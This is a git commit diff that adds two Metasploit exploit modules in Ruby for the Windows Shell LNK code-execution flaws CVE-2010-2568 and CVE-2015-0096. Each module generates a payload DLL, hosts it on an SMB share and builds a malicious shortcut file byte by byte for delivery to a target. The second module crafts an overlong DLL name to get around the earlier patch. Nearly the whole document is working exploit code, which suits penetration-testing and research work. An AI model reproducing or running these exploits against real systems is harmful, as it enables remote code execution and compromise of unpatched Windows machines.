Merge support for the SMB share mixin
This commit is contained in:
jvazquez-r7
@@ -0,0 +1,126 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::SMB::Server::Share
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Windows Shell LNK Code Execution',
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'Description' => %q{
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This module exploits a vulnerability in the handling of Windows
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Shortcut files (.LNK) that contain an icon resource pointing to a
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malicious DLL. This creates an SMB resource to provide the payload
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inside a DLL, and generates a LNK file which must be sent to the
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target.
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},
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'Author' =>
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[
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'hdm', # Module itself
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'jduck', # WebDAV implementation, UNCHOST var
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'B_H' # Clean LNK template
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2010-2568'],
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['OSVDB', '66387'],
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['MSB', 'MS10-046'],
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['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 2048,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ]
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],
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'DisclosureDate' => 'Jul 16 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
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], self.class)
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register_advanced_options(
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[
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OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
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], self.class)
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deregister_options('FILE_CONTENTS', 'FILE_NAME')
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end
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def setup
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super
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self.file_contents = generate_payload_dll
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self.file_name = "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
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print_status("File available on #{unc}...")
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end
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def primer
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lnk = generate_link(unc)
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file_create(lnk)
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print_status('The LNK file must be sent or shared with the target...')
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end
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def generate_link(unc)
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uni_unc = unc.unpack('C*').pack('v*')
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path = ''
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path << [
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00
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].pack('C*')
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path << uni_unc
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# LinkHeader
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ret = [
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0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
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].pack('C*')
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idlist_data = ''
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idlist_data << [0x12 + 2].pack('v')
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idlist_data << [
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0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
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0x30, 0x9d
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].pack('C*')
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idlist_data << [0x12 + 2].pack('v')
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idlist_data << [
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0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
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0x30, 0x9d
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].pack('C*')
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idlist_data << [path.length + 2].pack('v')
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idlist_data << path
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idlist_data << [0x00].pack('v') # TERMINAL WOO
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# LinkTargetIDList
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ret << [idlist_data.length].pack('v') # IDListSize
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ret << idlist_data
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# ExtraData blocks (none)
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ret << [rand(4)].pack('V')
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# Patch in the LinkFlags
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ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
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ret
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end
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end
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@@ -0,0 +1,138 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::SMB::Server::Share
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attr_accessor :exploit_dll_name
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Windows Shell LNK Code Execution',
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'Description' => %q{
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This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
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of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
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DLL. This creates an SMB resource to provide the payload and the trigger, and generates a
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LNK file which must be sent to the target. This module has been tested successfully on
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Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
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installed.
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},
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'Author' =>
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[
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'Michael Heerklotz', # Vulnerability discovery
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'juan vazquez' # msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2015-0096'],
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['MSB', 'MS15-020'],
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['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 2048,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ]
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],
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'DisclosureDate' => 'Mar 10 2015',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
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], self.class)
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register_advanced_options(
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[
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OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
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], self.class)
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deregister_options('FILE_CONTENTS', 'FILE_NAME')
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end
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def smb_host
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"\\\\#{srvhost}\\#{share}\\"
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end
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def setup
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super
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self.file_contents = generate_payload_dll
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random_char = rand_text_alpha(1)
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self.file_name = "#{random_char}.dll"
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prefix = "#{random_char} "
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random_length = 257 - smb_host.length - file_name.length - prefix.length
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self.exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}"
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print_status("Payload available on #{unc}...")
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print_status("Trigger available on #{smb_host}#{exploit_dll_name}...")
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end
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def primer
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lnk = generate_link("#{smb_host}#{exploit_dll_name}")
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file_create(lnk)
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print_status('The LNK file must be sent or shared with the target...')
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end
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def generate_link(unc)
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uni_unc = unc.unpack('C*').pack('v*')
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path = ''
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path << [
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00
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].pack('C*')
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path << uni_unc
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# LinkHeader
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ret = [
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0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
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].pack('C*')
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idlist_data = ''
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idlist_data << [0x12 + 2].pack('v')
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idlist_data << [
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0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
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0x30, 0x9d
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].pack('C*')
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idlist_data << [0x12 + 2].pack('v')
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idlist_data << [
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0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
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0x30, 0x9d
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].pack('C*')
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idlist_data << [path.length + 2].pack('v')
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idlist_data << path
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idlist_data << [0x00].pack('v') # TERMINAL WOO
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# LinkTargetIDList
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ret << [idlist_data.length].pack('v') # IDListSize
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ret << idlist_data
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# ExtraData blocks (none)
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ret << [rand(4)].pack('V')
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# Patch in the LinkFlags
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ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
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ret
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end
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end
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